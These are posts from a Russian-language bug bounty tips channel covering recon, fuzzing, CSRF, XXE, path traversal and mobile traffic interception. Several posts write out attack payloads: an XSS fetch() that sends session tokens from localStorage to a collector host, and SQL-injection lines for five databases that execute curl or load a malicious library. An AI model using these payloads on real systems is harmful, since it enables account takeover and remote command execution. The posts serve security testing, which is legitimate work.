Standoff Bug Bounty Tips – Telegram
🔎 Скрытые параметры запросов в действии

Один из способов найти новые параметры запроса с помощью JavaScript-файлов — собрать имена переменных и преобразовать их в параметры запроса.

Иногда это допустимые параметры, которые обрабатываются бэкендом небезопасными способами.
👍187🔥5
🔄 Реверс приложений на Flutter

Наткнулись на мобильное приложение под управлением Flutter и не понимаете, как перехватить сетевые запросы? ReFlutter — тот самый инструмент для хантеров за мобильными багами 📱

ReFlutter заменяет оригинальный движок Flutter в APK на модифицированный, что позволяет в реальном времени перехватывать сетевой трафик на нативном уровне. Достаточно просто настроить BurpSuite.

После патча APK его нужно заново подписать. Быстрее всего — через uber-apk-signer:

java -jar uber-apk-signer.jar --allowResign -a release.RE.apk


Уровень сложности: 🪲🪲🪲🪲
👍10🔥5👏4
🛠️ Фаззинг HTTP-заголовков на практике

Проверка кастомных HTTP-заголовков в запросах и ответах — первый шаг при сканировании вашей цели. Они часто раскрывают конфиденциальную информацию, которую можно использовать для дальнейшей разведки.

Но любой фаззинг, включая HTTP-заголовков, может фолзить — особенно если CDN или бэкенд реагируют на заголовки только в определенных комбинациях.

Пример простого запроса с заголовком Forwarded (подробнее — в RFC 7239):
GET / HTTP/1.1
Host: redacted.com
Forwarded: example.com


Ответ:
HTTP/1.1 200 OK
Content-type: text/html; charset=utf-8
Content-Length: 8426


Но если изменить Forwarded так:
Forwarded: for=example.com;host=example.com;proto=https


Сервер вернет:
HTTP/1.1 500 Internal Server Error
Content-Length: 764


Если и это не сработает, попробуйте другие варианты из документации nginx.

Подобное поведение — повод начать глубже исследовать причину ошибки и искать соответствующие баги.

Уровень сложности: 🪲🪲🪲
👍9🔥42
😎 Простой способ обхода CSRF для проверки того, отправляет ли исследуемое приложение данные в JSON-формате без anti-CSRF-токена

Измените тип контента с application/json на text/plain и посмотрите, по-прежнему ли сервер принимает запрос.

В случае успеха вы можете легко создать простую полезную нагрузку (payload) и заставить браузер повторить тот же запрос с помощью HTML-формы ☝️

Уровень сложности: 🪲🪲
18🔥10👌3
👌 DOM-based XSS + localStorage = ATO

Нашли DOM-based XSS и заметили, что приложение использует современный JavaScript-фреймворк? Скорее всего, сессионный токен хранится в localStorage браузера — и это может помочь захватить аккаунт 🤑

Обычно чувствительные куки защищены флагом HttpOnly, чтобы JavaScript не мог их прочитать. Это снижает риск дальнейшей эксплуатации XSS.

Но разработчикам часто нужно отправлять защищенный токен вместе с запросами к API. В таком случае они сохраняют его в localStorage. Это значит, что JavaScript имеет к нему прямой доступ и может легко подставлять в запросы.

И да — если у вас есть DOM-based XSS на этом же домене, вы тоже можете вытащить токен.
Вот пример полезной нагрузки, которая отправляет токен на сервер с помощью fetch:

await fetch (https://example.com/collect?token=${encodeURIComponent(localStorage.getItem('session_token'))}')
10🔥7👏4👎3
🔝 SQLi -> RCE: как раскрутить SQL-инъекцию до RCE

Нашли скулю? Не спешите сдавать — попробуйте повысить импакт.

Вот примеры для разных СУБД:

1️⃣ Microsoft SQL Server: метод xp_cmdshell (требуются привилегии админа БД).

EXEC xp_cmdshell 'curl https://example.com'


2️⃣ MySQL: методы sys_eval или sys_exec (требуется установить или включить библиотеку User Defined Function).

SELECT sys_eval(' curl https://example.com');


3️⃣ Oracle: функции Java.

SELECT DBMS_JAVA_TEST.FUNCALL ('oracle/aurora/util/Wrapper', 'main', '/bin/bash','-c','/bin/curl https://example.com') from dual


4️⃣ SQLite: метод load_extension (необходимо включить расширения в конфигурации SQLite).

UNION SELECT 1, load_extension('|lexample.com\malicious_extension.so', 'MainFuncCall');


5️⃣ PostgreSQL: сначала создайте или включите функцию, а затем используйте ее для выполнения команд.

CREATE OR REPLACE FUNCTION system(string) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('curl https://example.com');
👍18🔥8❤‍🔥5
😎 Публичные Postman workspaces могут содержать секреты

Если не изменить настройки видимости рабочего пространства Postman, оно будет доступно всем желающим.

👉 Проверяем как показано ниже и ищем забытые секреты, ключи API и другие чувствительные данные:

https://www.postman.com/{companyName}/?tab=workspaces


👉 Дорк для поиска:

site:www.postman.com inurl:tab=workspaces "companyName"
🔥10👍41
🔍 Поиск проблем с разделителями пути с помощью Burp Intruder

Иногда веб-серверы по-разному обрабатывают спецсимволы (;, ? и другие) в URL-адресах. Это может привести к web cache deception или проблемам с контролем доступа.

👉 Вот как легко протестировать расхождения в разделителях пути:

1️⃣ Захватите запрос и отправьте в Intruder. Тип атаки Sniper (изменяется только одно место):

GET /my-account§§abc HTTP/2


Пример пэйлоада (полный список найдете здесь):

!
#
$
'
*
+
,
.
/
:
;
_
~
...


2️⃣ Запустите атаку и проанализируйте статусы, длину и ответы.

Ищите страницы большего/меньшего размера, изменения в коде состояния или различное поведение. Если заметили что-то необычное, скорее всего, вы нашли расхождение в разделителях 🤑

👉 Почему это важно?

Когда спецсимволы сбивают с толку сервер или кеш, вы можете обнаружить:

🔸 Web cache deception: случайное кеширование личных страниц
🔸 Обход доступа: пропуск проверок безопасности
🔸 Утечка информации: доступ к данным, которые вы не должны видеть

🔗 Попробуйте на практике в лабе PortSwigger

Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13🤔4
Виртуальные хосты — это…

Механизм, который позволяет обращаться к нескольким доменам на одном веб-сервере. Администраторы в настройках веб-сервера прописывают домен, а браузер пользователя при обращении к IP указывает в заголовке Host запрашиваемый домен. Веб-сервер использует нужный шаблон и отдает запрашиваемый контент.

Конфигурирование веб-сервера может быть достаточно сложным, и могут возникать ошибки, например, доступные любому пользователю админ-панели или внутренние сервисы, которые не подразумевались быть доступными извне VPN.

Как найти внутренние сервисы и выявить мисконфигурации?

Используя сервис crt.sh, можно получить выписанные для домена сертификаты и скопировать все полученные домены. Сертификаты могут быть выписаны и на недоступные в данный момент из интернета приложения.

Это можно сделать, к примеру, так: https://crt.sh/?q=vk.team

Затем можно использовать curl и обратиться к IP-адресам, принадлежащим компании, с полученными доменными именами. Может произойти так, что балансировщик направит запрос во внутренний сервис, хотя он должен быть недоступен снаружи.

Например:

curl --resolve noscript.bugbounty.vk.company.ru:443:10.12.72.18 https://noscript.bugbounty.vk.company.ru/


Так можно обратиться к IP-адресу, используя произвольный заголовок Host. Как видно на скриншоте, по стандартным хостам нет доступа, но, применив правильный заголовок, мы получили ответ. Подставляя localhost или полученные из сертификатов домены, иногда можно получить доступ к админкам и другим внутренним системам.

Публикация подготовлена совместно с командой VK Bug Bounty.
10🔥5
💨 XML external entity в дикой природе

В первую очередь обращайте внимание на фичи приложения, которые потенциально могут работать с XML:

🔹 Веб-сервисы на основе XML (SOAP, REST и RPC API, которые принимают и обрабатывают данные в формате XML).

🔹 Любая фича импорта / экспорта, которая доставляет или принимает данные в формате XML.

🔹 Обработчики RSS и Atom лент.

🔹 Просмотрщики и конвертеры документов, работающие с файлами форматов DOCX, XLSX и другими XML-документами.

🔹 Загрузка и обработка файлов в XML (например, SVG-изображения).

💡 Главное правило

Ищите компоненты, принимающие и обрабатывающие произвольные XML-данные. Иногда REST API случайно настроены на приём разных форматов данных, включая XML.

Всегда проверяйте, какие форматы принимает приложение — это поможет найти потенциальные векторы атаки.

Как автоматизировать поиск

Добавьте в Proxy Interceptor правило замены типа содержимого: с application/json на text/xml. Далее отслеживайте ошибки парсинга XML.

Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥73
🚀 Эксплуатация path traversal второго порядка

Path traversal первого порядка — это когда вы напрямую передаёте путь вида ../../etc/passwd, и сервер сразу интерпретирует его.

Второй порядок — это когда:

1️⃣ Вы передаёте путь, который сначала сохраняется как строка или используется как параметр.

2️⃣ Он ещё не интерпретируется полностью.

3️⃣ Затем этот путь используется в другом сервисе/компоненте, где он декодируется заново или интерпретируется иначе.

Уровень сложности: 🪲🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍113🔥3
🎯 Создание кастомных словарей для багбаунти

Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.

Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.

Что включить в кастомный словарь

1️⃣ Список слов для конкретной компании:

🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:

$ cewl https://example.com --header "Cookie: PHPSESSID=7a9b.." -d 5 -m 4


🔹 Токенизация URL-адресов с помощью tok:

$ cat urls.txt | tok


🔹 Парсинг ключевых слов из JS-файлов:

$ cat js-urls.txt | python3 getjswords.py


2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.

3️⃣ Включение часто встречающихся ключевых слов — api, admin, assets, profile, debug, id, и т. д. Отличная база у JHaddix.

4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.

💡 Применение:

• Брутфорс виртуальных хостов и параметров
• Обнаружение контента

P.S. При подготовке поста вдохновлялись статьей от Intigriti.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥105